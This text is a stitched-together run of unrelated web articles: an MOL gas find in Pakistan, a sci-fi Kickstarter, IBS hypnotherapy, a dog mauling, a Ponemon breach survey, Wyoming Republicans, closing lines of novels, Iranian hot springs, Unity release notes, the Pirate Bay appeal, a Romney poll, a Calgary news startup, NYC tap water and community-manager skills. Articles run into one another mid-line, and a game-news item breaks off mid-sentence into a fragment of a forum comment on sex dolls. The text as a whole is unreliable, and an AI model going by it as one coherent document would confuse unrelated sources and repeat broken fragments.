“‘Our other objectives are all means to an end. The enjoyment of the arts is an end in itself.’
“I was but three when he passed by, but I shall be grateful ’til the day I die.”
You can watch the speech in full here, courtesy of the ABC:
For more stories like this, Like Junkee on Facebook.
–
Feature image via ABC News/YouTube.MOL Group Makes Commercial Discovery in Pakistan
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MOL Group announced today a new commercial discovery at the MOL operated exploration well Mardan Khel-1 in Pakistan.
Mardan Khel-1, located in Pakistan’s TAL Block, was spud on September 17, 2014 and the well reached its target depth of over three miles on February 17, 2015. Four formations have been tested at the well, all of which flowed with high volumes of gas and condensate according to MOL Group.
The current total production capacity of the facilities in the TAL Block is 80,000 barrels of oil equivalent (gas) per day and 37,000 boe (liquids) per day. MOL intends to carry out an appraisal plan including additional wells on the Eastern and Western parts of the structure.
MOL Pakistan Oil & Gas Company, a 100 percent subsidiary of MOL Group, has also signed a farm-in agreement for Pakistan’s DG Khan Block, where MOL is acquiring a 30 percent non-operating interest from Pakistan Oil Fields Limited.
MOL Group E&P Executive Vice President Alexander Dodds commented in a company statement:
“MOL Group is extremely pleased to announce its seventh discovery in TAL Block, which we have operated since 1999. MOL Pakistan has a successful track record in the TAL Block and we are grateful to our partners for their continued support and confidence in our capabilities to operate within the JV. Pakistan is a promising and prospective country with significant remaining undeveloped resources and reserves, and MOL Group remains committed to investing in Pakistan’s oil and gas sector as our recent farm-in agreement and continued investment in the TAL block demonstrates.”
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WHAT DO YOU THINK?
Generated by readers, the comments included herein do not reflect the views and opinions of Rigzone. All comments are subject to editorial review. Off-topic, inappropriate or insulting comments will be removed.
RELATED COMPANIESLooking for a kickstarter to support this Holiday Season? Probably not, we’re all watching our shekels this time of year. However, I think you will want to put a few of those shekels towards this Kickstarter. It’s for a short science-fiction film called Hashtag.
Gigi Edgley is attached to star in the short. Edgley is well-known in many sci-fi circles for her amazing portrayal of the alien Chiana in the television series Farscape, (What? You haven’t seen Farscape? Go remedy that right now!) Most recently, Edgely hosted Jim Henson’s Creature Shop Challenge. (Sidenote – Henson’s company is responsible for the AMAZING puppets that you see on Farscape).
Along with Gigi Edgley starring in this sci-fi short, Ben Alpi will direct with Jyotika Virmani producing however production will never start unless they raise the funds. They need $40,000 and have raised almost $16,000 so far. The campaign has 9 days left. If you can, donate to the campaign. Five dollars, ten dollars, whatever moves you. They got some nice perks for folks who donate from $5 and up.
Below is some basic info about the film. Visit the Hashtag Kickstarter page as well and make a donation! I’ve already done so. Let’s see if we can get this thing made!!!
Hashtag is a science fiction short — a sleek, smart, and sexy view of a world where social media dominates every moment of our lives. Hashtag follows “X”, the ultimate social media maven, a charismatic woman attracting the attention of tens of millions of online followers. “X” has attained everything she’s ever wanted. She’s #famous, she’s #watched, and one unpopular move could mean the #end. Hashtag is directed and co-written by Ben Alpi (Cowboy Creed, Silver Lining) who was inspired by a TED talk to write a story about our culture’s obsession with speed. Ben approached veteran sci-fi writer, Kevin Rubio (Star Wars: The Clone Wars, Ben 10, Green Lantern: The Animated Series, TROOPS), to co-write the script and the present incarnation of the script was born. Hashtag is an original, imaginative and thought-provoking tale in the wicked tradition of The Twilight Zone. Through the medium of classic science fiction storytelling, our writers weave a disturbing story of our all-too-possible future as a social-media society obsessed with virtual information and celebrity.
Follow Audrey on twitter here hereGOLD CHASE EXPANSION: Ahsoka Tano By The Senate on 2016-07-02 02:45:00 Who doesn't want to own a bit of gold? With our new Base Series 3 Expansion Gold variants, this precious metal is right within your reach!
Available for only 24 hours!
Today's Smuggler's Den Exclusive Gold Expansion Variant is Ahsoka Tano
Meld Option 1: 100% chance when you meld 30 White Base Expansion Ahsoka Tano's.
If you chase after the 2nd Meld Option, the first option will disappear...
Meld Option 2: 100% chance when you meld 10 Ahsoka Tano 2016 Base White Expansion cards. You'll need to pick up the Gold Chase Bundle to see this option. Once you meld the for the Ahsoka Tano 2016 Base Gold Expansion card, the first option will return and the Gold Chase Bundle will appear again.
Remember Extension 3 cards can be found in the new White, Blue, Red, Green Master and Orange Master Expansion packs!
Good luck! Go Crack Some Packs!A Standardized IBS Treatment Protocol Available to
Licensed Health Care Professionals Although hypnosis treatment has been found highly effective in the treatment of IBS in several research studies to date, the exact length and nature of the treatment varies considerably depending on the clinicians conducting the treatment. It has become clear that some clinicians who are using highly individualized treatment approaches which deviate significantly from the empirically tested methods (for example, use insight-oriented hypnotherapy approach, which is generally neither necessary nor advisable with this condition) sometimes achieve much less progress and lower success rate, and may even cause exacerbation of symptoms. For this reason, it is advisable that clinicians adhere to the kind of methods which have been repeatedly demonstrated to have high success rate in empirical studies, such as Whorwell et al's (1984, 1987) gut-directed hypnotherapy or the Palsson et al's (2000) protocol. In order to faciliate the availability of hypnosis treatment for IBS in the U.S, the fully standardized seven-session treatment protocol tested by Palsson, Whitehead et al. in their studies (achieving o ver 80% success rate in both studies) is provided without charge to any clinicians who are licensed by their state as health professionals and are properly qualified to conduct hypnosis treatment for medical problems. Qualified clinicians are encouraged to e-mail us for permission to use the Protocol in their practice. Please note that this protocol is only made available to medical and mental health care professionals,and that they must be currently state-licensed to practice their health profession (for example, psychologists, nurses, nurse practitioners, clinical social workers, or physicians) and have training and experience in clinical hypnosis. IBS sufferers who are seeking hypnosis treatment for their IBS problem may be able to find a clinician using the protocol in their geographical area by consulting the ever-growing nationwide clinician list. Otherwise, it is often possible for people with IBS to find a licensed health professional in the surrounding community who is trained in hypnosis and are willing to obtain and use the standardized protocol.
The published report on the finding of the first two studies conducted with this protolcol is:
Palsson, O.S., Turner, M.J., Johnson, D.A., Burnett, C.K., & Whitehead, W.E. (2002). Hypnosis treatment of severe irritable bowel syndrome: Investigation of mechanism and effects on symptoms. Digestive Diseases and Sciences, 47(11): 2605-2614. The experience to date with this kind of treatment is also described in these online articles by Dr. Palsson: The effects of hypnosis on gastrointestinal disorders.
Hypnosis treatment of irritable bowel syndrome
The evidence and potential of hypnosis for treatment of gastrointestinal disorders is described in an editorial in the journal Gastroenterology: Palsson, O.S. & Whitehead, W.E. (2002). The growing case for hypnotherapy as adjunctive therapy for functional gastrointestinal disorders. Gastroenterology, 123(6):2132-2147. Editorial, available online by clicking here.
For a brief summary of studies on hypnosis treatment for IBS, click here.A 22-year-old woman was apparently mauled to death by her own dogs, described as pit bulls, according to Virginia law enforcement.
Bethany Lynn Stephens’ body was found in a wooded area in Goochland, V.A., with wounds on her hands, arms, throat and face consistent with a mauling, WTVR reports. Stephens’ father went looking for her on Thursday, and reportedly discovered her dogs standing watch over her body.
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“It was an absolutely grisly mauling,” Sheriff James Agnew told WTVR. “In my 40 years of law enforcement I’ve never seen anything quite like it. I hope I never see anything like it again.”
Agnew told WTVR that the dogs appeared to initiate the mauling. Evidence suggests the attack began when Stephens was alive, and became fatal after she fell to the ground unconscious. There is no evidence of a homicide, WTVR reports, and the sheriff’s office will look to euthanize the pit bulls.
Write to Jamie Ducharme at jamie.ducharme@time.com.There has been a flood of news about hacker break-ins at companies. But how bad is the situation really?
Significantly worse than the headlines suggest, and getting worse still, a new study from the research firm Ponemon Institute suggests. The study says breaches are rampant and occurring much more often than is publicized.
The firm’s survey of 581 security professionals at large companies in the United States, Britain, France and Germany found that 90 percent of them had at least one breach in the last year and 59 percent had two or more. And the costs are mounting; 41 percent of break-ins cost more than half a million dollars.
Study participants broadly agreed that cyberattacks were getting more frequent, more severe, and harder to detect and stop.
Indeed, hackers are increasingly staging targeted attacks aimed at stealing something specific, said Larry Ponemon, founder of the institute. They study the target, find an opening and then quietly get in and out. Most are mercenaries, members of criminal syndicates or representatives of unfriendly countries, he said, and their attacks “are much more stealthy and much more difficult to identify.”
About 60 percent of respondents said they were able to identify the source of at least some of the attacks suffered by their organizations. They traced 34 percent of them to China and 19 percent to the Russian Federation.
Both countries are known hotbeds of hacking for profit and economic advantage. “China is prolific and noisy,” said the former National Security Agency director Mike McConnell, speaking at an event at the 92nd Street Y in New York last week. “They are literally taking terabytes of data” and focusing on virtually every sector of the economy. Russian hackers are considered especially skilled and known for taking things undetected, he said.
Nearly half of the breached companies surveyed by Ponemon suffered a damaging loss of data, which “speaks volumes about the mindset of the attacker community,” said Karim Toubba, vice president of security strategy at Juniper, which sponsored the survey. The large majority are in it for financial gain and don’t talk about what they do — unlike LulzSec and Anonymous, who are hacking for fun and politics and have been loudly bragging about their activities.
Victimized companies overwhelmingly prefer to keep quiet, too. When they do talk, it’s usually after a loss of consumer information, which is subject to laws requiring disclosure. But most of what is being stolen is corporate information that doesn’t have to be disclosed, Mr. Ponemon said, whether it is intellectual property like design documents or financial information. There’s certainly little reason to talk when, as the Sony case has shown, news of your vulnerability might make hackers hit you harder, customers lose confidence in you and your stock price drop.
As attackers step up their games, defenders are struggling to cope. Security professionals are pessimistic about their ability to prevent hacks; 57 percent said they had little or no confidence in their organizations’ ability to prevent a breach. They’re coming to believe that “maybe the bad guys are getting so good — or so bad — that maybe it is impossible to meet the security needs of the organization,” Mr. Ponemon said.
Respondents are also concerned about insufficient security budgets and say the complexity of modern networks is a major challenge. Corporate networks are growing more unruly and harder to control as employees use more mobile devices like smartphones and tablets, adopt cloud services and log onto social networks, all of which carry security threats. Meanwhile, I.T. departments must manage a growing array of specialized security technologies that may or may not work together to help security departments detect and halt attacks.
“When you put all of this into one big stew, it’s not very tasty,” Mr. Ponemon said.CHEYENNE, Wyoming (CNN) -- While Washington gears up for Inauguration Day, Republicans in Wyoming are taking stock of their future and assessing Barack Obama.
From left: Janet Anderson, Dicky Shanor, Cindy Hill, Jack Mueller, Ted Mueller are cautious about Barack Obama.
"I'm afraid that so much of the responsibility of individuals is being transferred to Washington," says Jack Mueller, a 67-year-old retired state government worker. "Big Brother is going to be telling us what to do over and over and over again."
Mueller and a handful of other Republicans sit in the coffee shop of the historic Plains Hotel on this windy January morning, chatting about the incoming administration and their mixed feelings.
These are back-to-basic Republicans. They want small government, strong national defense and an emphasis on individual liberties and accountability.
"I wish President[-elect] Obama well, but I do not wish him success in the things he is proposing," says Ted Mueller, 57, an insurance salesman.
Ted is not related to Jack, but they share concerns about what they see as a federal government on the brink of a huge expansion.
"I don't want the federal government to give away our individual rights. I don't want them to take over our business. I don't want them to take over our religion."
Watch with CNN! Watch the historic inauguration of Barack Obama with CNN and the best political team on TV!
Coverage begins Tuesday, 10 a.m. ET see full schedule »
Janet Anderson, 57, returned to Cheyenne after a career in the oil business in Texas. She worries about the federal government bailing out businesses.
"The Obama administration is taking consequences out of our nation."
She says, "If you go make a bad business decision and you lose your shirt, you just go to the government and get some money."
Cindy Hill is an assistant principal of a junior high school. She is afraid the Obama administration will dismantle No Child Left Behind and worries that his administration will leave behind huge debt for her son's generation.
"He's only 20 years old -- and the decisions being made right now, the deficit and how were approaching solving problems -- are going to impact his generation significantly." she says.
Only 33 percent of Wyoming's voters cast their ballots for Obama, but they are concerned about the future of the Republican Party outside the state.
"We really need to decide to define our party and what we're going to be in the future," says 26-year-old Dicky Shanor, a Cheyenne attorney. "We need somebody on the federal level to step up and define us. I don't know who that's going to be."
"It'd be great if we could have another leader like Ronald Reagan -- that strength of leadership, the strength of character," says Ted Mueller, "I don't see it right now, but there's always hope. Somebody will rise up."
These Wyoming Republicans share a respect for the office of the president, even if they have doubts about the man.
"As an American, obviously I want him to succeed. He is my president," says Jack Mueller. "I hope that he will do well."
"I truly hope that he succeeds. You have to respect the office, I don't care who's in it," says Janet Anderson. "If Barack Obama earns my respect, I will respect the man."
All About Wyoming • Barack Obama • Republican PartyClose Out The Year With Some Best-Selling Last Words
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People often make lists of the greatest opening lines in fiction, but closing lines really appeal to me. They're your final moments with a book and can help you remember and treasure it forever.
The last weekend of the year seems an appropriate time to consider the final words of our favorite novels and short stories. Here are some that I'm especially fond of:
The Great Gatsby
F. Scott Fitzgerald
"So we beat on, boats against the current, borne back ceaselessly into the past."
Middlemarch
George Eliot
"But the effect of her being on those around her was incalculably diffusive, for the growing good of the world is partly dependent on unhistoric acts, and that things are not so ill with you and me as they might have been is half owing to the number who lived faithfully a hidden life and rest in unvisited tombs."
Still Life With Woodpecker
Tom Robbins
"But I can and will remind you of two of the most important facts I know: (1) Everything is part of it. (2) It's never too late to have a happy childhood."
The Good Earth
Pearl Buck
"'Rest assured, our father, rest assured. The land is not to be sold.' But over the old man's head they looked at each other and smiled."
The Dharma Bums
Jack Kerouac
"Then I added 'Blah,' with a little grin, because I knew that shack and that mountain would understand what that meant, and turned and went on down the trail back to this world."
Angela's Ashes
Frank McCourt
"I stand on the deck with the Wireless Officer looking at the lights of America twinkling. He says, 'My God, that was a lovely night, Frank. Isn't this a great country altogether?' 'Tis.'"
The Haunting of Hill House
Shirley Jackson
"Within, walls continued upright, bricks met neatly, floors were firm, and doors were sensibly shut; silence lay steadily against the wood and stone of Hill House, and whatever walked there, walked alone."
The Dead
James Joyce
"His soul swooned slowly as he heard the snow falling faintly through the universe and faintly falling, like the descent of their last end, upon all the living and the dead."
The Silence of the Lambs
Thomas Harris
"But the face on the pillow, rosy in the firelight, is certainly that of Clarice Starling, and she sleeps deeply, sweetly, in the silence of the lambs."
The World According to Garp
John Irving
"In the world according to her father, Jenny Garp knew, we must have energy. Her famous grandmother, Jenny Fields, once thought of us as Externals, Vital Organs, Absentees, and Goners. But in the world according to Garp, we are all terminal cases." (Note: John Irving has told interviewers that he always writes the last lines of his novels first.)
What last lines would you share from your favorite books? Please add yours to the comments section below.Whether for relaxation, healing, or just fun, hot spring tourism has been on the rise in recent years. While springs in Japan, China, Turkey, and Europe are well known, Iran’s many mineral springs still largely remain under the radar for international travelers (while being extremely popular domestically). The town of Sarein, located in the Northern province of Ardebil, is particularly known inside Iran for its many mineral hot and cold springs, and is a must see stop for any travelers in the area.
Even today, many people believe in balneotherapy, the treatment of diseases through bathing in natural mineral hot springs. Some studies have shown balneotherapy may be effective in improving arthritis, joint pain, or skin conditions, although more research is needed.
Since time immemorial, almost every group of people from every corner of the world has believed in the healing and spiritual powers of water. Many religions include special rituals involving water and consider certain bodies of water to be sacred. Civilizations spanning from the ancient Romans to modern Japanese have placed a special emphasis on public bathing in hot springs, for cleanliness, social functions, and of course, relaxation.
Sarein (also spelled Saryen or Sar ‘Eyn) is located about 30 kilometers west of Ardebil. The city is also very close to Mount Sabalan, an inactive volcano, and the popular Alvares Ski Resort. Sarein is famous for its local made honey, and ‘Ash-e-Doogh’ traditional food. While it is open all seasons, the city gets particularly crowded with domestic tourists during the summer. In fact in peak years the city’s population is more than doubles in the period of May to August compared to the rest of the year. Much of the city itself is geared towards outsider travelers, giving it a much more ‘touristy’ vibe than many other Iranian cities.
Sarein is well known for its local honey
The most famous feature of Sarein though, are its mineral springs. Each spring is slightly different, and recognized for curing particular ailments. The mineral composition, size, and temperature of each one differs. Some of them remain largely the same as they have been for centuries, while others have been developed into large modern spa complexes combined with medical facilities.
Hot Springs
There are over a dozen hot springs in and near Sarein. Below are a few of some of the more well known ones:
Sabalan Hydropathy Complex — Sabalan is the large hydropathy complex in the Middle East. There are several pools, jacuzzis, dry and wet saunas, and medical staff on sight. This is the most ‘modern’ facility, all indoors, and similar to natural spa complexes in other countries.
Besh Bajilar Spa — Besh Bajilar,which means 5 sisters in Azeri, has similar facilities to Sabalan. The water for this spa comes from 5 almost identical springs. The temperature of the water is always around 35 degrees Celsius. It contains traces of chlorine, bicarbonate, sulfur, sodium, and potassium. The Besh Bajilar waters are known to be particularly good for easing joint pains.
Momtaz Coffee House Hot Spring — This spring is inside the coffee house itself. The temperature of the water reaches 48 degrees Celsius. It contains traces of bicarbonate, carbonate, sodium, and potassium and has a pH of almost 6. The waters of this spring are known to be good for pains in hands and feet, as well as for calming nerves.
General Hot Spring — This hot spring, which is located to the north of Sarein, is located 2000 meters above sea level. The temperature of the water reaches 43 degrees Celsius and the water is slightly sour and acidic. The water contains traces of bicarbonate, sodium, sulfur, calcium, potassium, and magnesium. This spring is under the open sun (no roof) and known to be good for muscular pains and relieving rheumatism.
Gavmish Goli Hot Spring — The biggest hot spring in Sarein is the Gavmish Goli, which is almost always around 46 degrees Celsius. The water does give off a faint scent of hydrogen sulfide. This spring, which is also open air (no roof) is thought to be good for a variety of ills including joint pain, female pains, and heart problems.
General Hot Spring
Cold Springs
َIn the immediate area around Sarein are several village with famous cold mineral springs. The most famous of these, Kanzagh, is two kilometers to the east. This village’s beautiful scenery makes it a popular stop. It also contains several very old caves that were inhabited back in the Parthian era (over 2000 years ago) which are still being explored by archaeologists.
Torsh Soopi — The water from this cold spring is naturally carbonated. Many locals drink its water for stomach ailments, as well as skin disorders.
Mardaan Boolaghi — A very cold, calm spring. The water in this spring is believed to very effectively get rid of hives.
Late 19th century picture of nomads relaxing in Sarein hot springs. The springs were believed to also heal animals.
Whether for healing or relaxation, Sarein is well worth a visit for any Iran traveler. Located within a few hours drive of most major areas in Northern Iran, and only about 7 hours from Tehran, it will be a memory you won’t forget.
Other Iran Travel Articles
Alamut, Lambsar, and Rudkhan Assassin Castles
Palangan VillageUnity Editor Download Assistant
Component Installers Windows
Component Installers Mac
We are happy to announce Unity 5.4.5p3. The release notes and the corresponding issue tracker link for issues fixed in this release are as shown below.
As always, patch releases are recommended only for users affected by those bugs fixed in that patch.
Improvements
Added support for the 5th generation iPad.
Asset Bundles: Reduced SerializedFile memory usage when reading streams inside AssetBundles.
Networking: Added a timeout property to UnityWebRequest, this gives coarse grain control over timeouts for webrequests. (903139)
VR: Updated Oculus plugin to 1.14.
Fixes
(900194) - Android: Dropped obscured touch events to prevent tapjacking.
(898979) - Android: Fixed manifest merging with new android sdk tools.
(867891) - Android: Fixed pause/resume issues when loading with static splash image.
(908868) - Android: Make SoftInput not take fullscreen on landscape orientation.
(none) - Animation: Improved build and asset bundle data determinism for Human components.
(895452) - Build Pipeline: Fixed an issue with scene asset bundles that could cause multiple builds with the same scene generate different results.
(852301) - Fix for Analytics events content type switches from Application JSON to application/x-www-form-urlencoded.
(859561) - Fixed an issue where Android devices' rendering could freeze or incorrectly render when using secondary cameras.
(873206) - GI: Fixed a crash when creating reflection probes from OnWillRenderObject.
(875096) - Global Illumination: Fixed an issue where baked area light affected objects behind meshes where light shouldn't be present.
(882704) - Graphics: Fixed a periodic crash in shadow culling job code (GenerateCombinedDynamicVisibleListJob).
(909610) - Graphics: Fixed clear artifacts on metal, if only UI camera is used in scene.
(888796) - IL2CPP: Fixed the issue of memory snapshot profiler not showing multidimensional arrays.
(898809) - UGUI: Fixed a crash when reparenting inactive object.
(none) - UGUI: Fixed a memory leak in UGUI.
(904688) - UI: Fixed an issue with corrupted text when text font was changed.
Revision: 5c41f43a22b2The Swedish Supreme Court will not hear an appeal from the founders of The Pirate Bay against prison sentences and fines imposed by the Swedish Court of Appeals, the court said on Wednesday.
Over a year ago, the Court of Appeals sentenced Fredrik Neij, Peter Sunde, and Carl Lundström to 10 months, eight months, and four months of jail time, respectively. The court also said they must collectively pay a 46 million kronor (US$6.7 million) fine.
The Supreme Court hears cases that are considered important for the direction of Swedish law enforcement, or when there are special circumstances. The court has reviewed the material in the Pirate Bay case and found that neither reason to hear the case exists, it said.
Separately, Gottfrid Swartholm Warg has been sentenced to one year in prison. Due to illness, Warg never showed up at the appeals trial, and recently had his verdict in the district court confirmed.
The Pirate Bay case has been contentious from day one, and not everyone thinks Wednesday's decision was the right choice.
"The Pirate Bay case is fundamentally important and it is unfortunate that the Supreme Court chooses not to hear the case," said Anna Troberg, leader of the Pirate Party in Sweden, in a statement.
The case has been handled inadequately since the raid back in May 2006, and it would have been desirable that the Supreme Court heard the case, she said.
The entertainment industry is happier. The verdict is a defining moment in the battle over copyright on the Internet, according to the industry-funded Antipiratbyrån (Anti-Piracy Office). The Supreme Court has made it clear that all involved are responsible for any violations, including those that deliver the Internet connection, said the industry group.
Now that the sentence has been confirmed, Antipiratbyrån will act against the nearly 150 illegal file-sharing services that have Swedish connections, it said.
Send news tips and comments to mikael_ricknas@idg.comMitt Romney still faces a public that views him more unfavorably than favorably, and the gap between the two opinions has grown in recent months, according to a Washington Post/ABC News poll released Wednesday.
About 40 percent of voters told pollsters they view the Republican hopeful favorably, consistent with his numbers in May. Since then, though, the percentage of those who view him unfavorably went from 45 percent to 49 percent, according to the poll.
The percentage of Americans who viewed Romney unfavorably peaked at 50 percent in a March 25 Washington Post/ABC News poll, before dropping to 45 percent in a May 27 poll.
Obama is doing better: The poll found 53 percent of voters hold favorable opinions of him, while 43 percent hold unfavorable ones. He also holds an advantage with independents, a key group in the upcoming election. More than half of independents -- 53 percent -- said they view Obama favorably, compared to the 40 percent who said they didn't. Romney's favorability among independents is the reverse, with half viewing him unfavorably and 37 percent saying they hold a favorable opinion of him.
Within their own parties, each candidate holds high favorability numbers, although more Democrats feel "strongly favorable" toward Obama -- 61 percent -- than Republicans feel "strongly favorable" toward Romney -- 41 percent.Micro-budget news outlet "The Sprawl" appeared to cover the re-election of Calgary Mayor Naheed Nenshi, seen here during the 101st Calgary Stampede parade. Todd Korol/Reuters
The Sprawl lived to cover a single mayoral race. Then it died.
Jeremy Klaszus was one of many Calgary residents who wished aloud that somebody would create what became The Sprawl, a hyper-local digital news outlet aimed at the city’s younger residents. But it was Klaszus, a former alt-weekly reporter, who managed to swiftly put the platform together—and then, just as quickly, take it down. Calgary, Alberta, is a prairie city in Canada’s heartland with 1.2 million residents and a familiar North American problem: Its legacy news media is a shadow of its former self. The two broadsheet dailies, the Herald and Sun, now share an owner, a newsroom, and generally conservative editorial stances in elections. Owner Postmedia recently slashed 25 reporters in Calgary, which is the country’s fourth-largest market. Fast Forward, the city’s alternative weekly, closed in 2015. According to the national Globe and Mail, Alberta now has only five reporters covering the provincial legislature full-time. (Neighboring Saskatchewan has none.) And just this week, Torstar, a Canadian media chain that owns Metro Calgary—a free commuter daily—sold two other Metro titles in Winnipeg and Ottawa to Postmedia, which promptly axed both. (Disclosure: Until recently I was managing editor at Metro Edmonton.)
Unlike the typical local news startup, The Sprawl had no expectation to be an always-on platform, and no trappings of officialdom—no newsprint, beats, TV or radio channel, not even a website (though he has a bare-bones site now). Instead, Klaszus used Facebook, Medium, Twitter and other free platforms to stream videos and post reporting. He edited video on the spot, on his iPhone 6, and got it up fast. Cities are changing fast. Keep up with the CityLab Daily newsletter. The best way to follow issues you care about. Subscribe Loading... That DIY vibe spilled into The Sprawl’s shambolic tone. “I did Facebook Lives that were disasters,” says Klaszus, who often wore his baseball cap on-camera and included the outtakes. “But people respond to that because they’re like, ‘It’s a real person.’” In hard numbers terms, the project’s reach was modest: The Sprawl racked up 3,600 followers on Twitter in its one-month lifespan covering the election (which Nenshi won and which saw voter turnout hit its highest rate in 40 years); 140 people contributed money to Klaszus via Patreon, providing a $1,300 budget. The Sprawl’s success is challenging its pop-up sensibility: After shutting it down after the election, Klaszus says his audience demanded more. But The Sprawl made every dollar count, and Mike Morrison, a Calgary blogger and social-media personality, says the project was relevant during the election. “We have two papers run from the same company, and we have Metro,” he says. “The Sprawl’s effect was probably niche, but … they broke good stories.” While legacy media lined up to cover press conferences, Klaszus and his handful of unpaid journalism-student contributors sought to fill gaps, attending candidate forums with their iPhones in hand, streaming videos, and asking questions. He wrote about the city’s struggles to address systemic racism and the hostile design of Calgary’s new street benches. He quizzed Smith about bike infrastructure and revealed the candidate’s lack of enthusiasm for year-round bike lanes. “Our audience went berserk when they heard that,” Klaszus says.
As local media evolve new survival strategies in the face of disappearing resources, The Sprawl—a nimble micro-journalism operation that materializes when needed and disappears afterward—represents one novel variation. Klaszus says J-school professors have been calling him up, looking to learn. Rick Edmonds, a media business analyst at the Poynter Institute, says The Sprawl’s fleet and frugal community-funded model could resonate with the all-important youth audience. Think of it as a scoop-dispensing food truck that sets up on a busy corner at lunchtime and disappears hours later. “The pop-up idea, among young people, is manifesting itself in a lot of ways,” he says. “It may be a question of taking a trendy concept and bringing it with the right application to news.” Edmonds points to a few other slightly different manifestations of journalism pop-ups. (Not to be confused with Pop-Up Magazine, a live-event storytelling series produced by California Sunday Magazine.) One is the highly targeted Charlotte Agenda, a daily newsletter and website aimed at youthful residents of the North Carolina capital, and another is The New European, a so-called “pop-up newspaper” in Britain that started with an intended four-issue run, but, thanks to breaking even after issue three, remains in print. Back in Calgary, The Sprawl’s success is also challenging its pop-up sensibility. After shutting it down after the election, Klaszus says his audience demanded more. “They’re like, ‘OK, so what’s happening?’ I’m looking at what can be a way to keep in touch with them, where they feel like there’s something new. Potentially I’m looking at two streams—a podcast once every, I don’t know, three weeks or whatever, and then doing these pop-ups as needed,” he says.
Indeed, this week he popped-up again: As of Monday, The Sprawl 2 is covering Calgary’s municipal budget deliberations. Klaszus now has a budget of $2,000 per month (and—more disclosure—I give him $5 each month). He won’t rely on contributors this time, because he says he wants to eventually pay them. He says the tone is the most important lesson he’s learned in finding an audience in Calgary. “Journalism is so long faced, so serious. Journalists end up scolding our audience—‘You need to support this. It’s important because.’ It has a take-your-medicine feel about it. The Sprawl was fun and offbeat. It’s nothing fancy. And people really took to that.”Tales of Hearts R coming west this winter
PS Vita remake headed to the western market.
Update 4/21/14 at 10:20 a.m.: Bandai Namco has published the video taken down on Friday, again confirming the upcoming PS Vita release.
Here’s the story synopsis, courtesy of PlayStation Blog.
The adventure starts with Kor (Shing Meteoryte in the Japanese version), a young man living in a small village by the sea. While watching the house in his grandfather’s absence, Kor meets a young woman named Kohaku (same |
to dolls, on numerous occasions, is the fact that they look like humans mean I'll no longer be able to stop myself from striking real humans? I've even struck real humans, when sparing, surely the fact that I've not limited myself to dolls and have developed skills that would make me more dangerous if I did go on an attack spree (...in theory) would make my training more scary, someone who uses a sex doll doesn't become a more capable rapist after all.However, no one is worried about my attacking people, in fact I'm a bit of a quasi-pacifist. The only reason the whole sex-doll idea might sound different is because it's unusual and bogged down by all our sexual taboos, while martial arts is commonly accepted.And, the moment you risk punishing people for'sexual deviancy' because you don't understand something, rather then because it's actually harming someone, your going down a dangerous path. Think how horrible homosexuals were treated not to long ago, still are treated in many parts of the world, for being different when it doesn't harm others. Who knows, in a generation maybe everyone will have their own personal sex bot and consider using one as normal as masturbation and look back on any of us heathens who didn't understand it as simply bigoted and evil folksNYC tap water in bottles
Jay sez, "A new bottled water company is selling NY tap water in bottles and filling up people's empties as a way of spreading the word that tap is good, it's better for the environment than shipping bottles in from Fiji, it's fun, it's blablabla. You get the idea."
For my money, NYC tap water is delicious.
Year after year, bottled water companies have told us that their water was somehow healthier or better for us than our own water. They spent billions of dollars on marketing to make us believe that we needed exotic water, in sleek packaging, from far away Arctic glaciers, tropical islands, and European volcanoes. We fell for the fancy marketing gimmicks, too, and the brands we drank started to become status symbols. But we're New Yorkers and are ready for an honest change. It's time for a better way of thinking drinking: A Tap'dNY Manifesto for the new age.
TAPDNY
(Thanks, Jay!)As more companies and more industries buy into the benefits of social media and community development, the number of job opportunities available for professionals with community-building skills also continue to grow.
Companies are looking for professionals who can blend their skills to effectively deliver updates to a community, but also have the ability to tap into that community to collect feedback for a company to use for improving its product or delivering its message.
While the job opportunities grow, so to do the number of professionals who include community skills on their resumes and profiles. On LinkedIn alone, the number of people who have added "Community Management" to their skills list is up 46% year-over-year.
But being a quality community manager goes beyond having the knowledge and background to use social media networks. Here are 10 qualities a community manager should possess to improve the chances of success in the position, according to professionals who work within social media and community today.
1. Strong communication skills
It's no surprise that the person who is acting as a representative of the brand should have strong people skills. Google DC Community Manager Corrie Davidson said that the community manager, in many ways, is the face of a brand, and this person must be able to effectively communicate the message to the audience. "Whether it be short form or long form, you have to be able to write," she noted. "Blog posts, guest articles, emails, proposals, social content — you have to be able to craft your ideas and messages to fit any medium."
But the community manager position goes beyond the online relationship, Davidson said. "They need to be outgoing, friendly and relatable. They should be comfortable interacting with people offline as well as online; a natural networker."
2. Good judgement
In many industries, one role of a community manager is of a curator. This person must be able to parse through all the content coming out of an organization and determine what to share, how to share and when to share.
For news organizations, deciding how to engage with an audience is especially important in times of difficult news, noted NBC News Senior Community Manager Anthony Quintano. "On days where we have really upsetting news to report on, we're very careful about the kind of stories we share, and what information we put out there."
Community managers must also determine the best ways to handle feedback from the audience, and decide how to respond in an appropriate fashion, said Dave Kerpen, chairman of Likeable Media, a social media agency that employs community managers. "When people ask questions, how do you answer? I believe not answering those questions is answering those questions."
3. Empathy
To engage a community in a discussion about a brand, a community manager must know the type of people who make up the audience, said Tim McDonald, the community manager for HuffPost Live. "You're dealing with a bunch of different personalities. If you're not empathetic, you're never going to be able to to put yourself in those people's shoes, which means you won't be able to communicate a message to them."
Being able to demonstrate empathy is important, noted Kerpen, because a community manager must be able to effectively converse with the audience. This person should see the brand from the perspective of a fan or consumer, and use this point of view to guide his or her engagements with the community, he added.
4. Dedication
Unlike with other positions, there is no end of the work day for community managers. When news breaks, whether the organization you represent is on the giving or receiving end, a community manager has to be available to the audience. "When you're a community manager, you're on 24/7," said Adobe Community Manager Rachael King. "Good or bad, something huge can happen at any time, and when it does, social is the first place it hits. You are technically the face of the brand, so you have to deal with it."
Community managers have to look at their positions as a lifestyle rather than a job, Google's Davidson added. "If you want to check in at 9 a.m. and out at 5 p.m., you're in the wrong field. When you've dealt with nothing but mean-spirited comments, hundreds of emails, demanding partners and a grueling schedule of tasks — all in a 14-hour work day — you need something other than a paycheck to keep you going."
5. Organizational skills
For many community managers, the job consists of managing multiple platforms, tracking feedback and then sharing this information with their employers. This work can be overbearing, but remaining organized can help professionals stay on top of their responsibilities. "I believe that community managers have to be able to multitask, and that means staying organized," Likeable Media's Kerpen noted. "It's a very fast-paced job and there are a lot of things thrown at you at once — and you need to stay on top of it."
Davidson said that she uses multiple spreadsheets that she updates daily with data across a range of metrics for a variety of people and terms. "One wrong entry can throw off goals and spreadsheets across our whole team, affecting other teams and projects. Whether I am planning an event, managing vendors, reviewing a contract or creating content, success or failure is in the details."
6. Adaptability
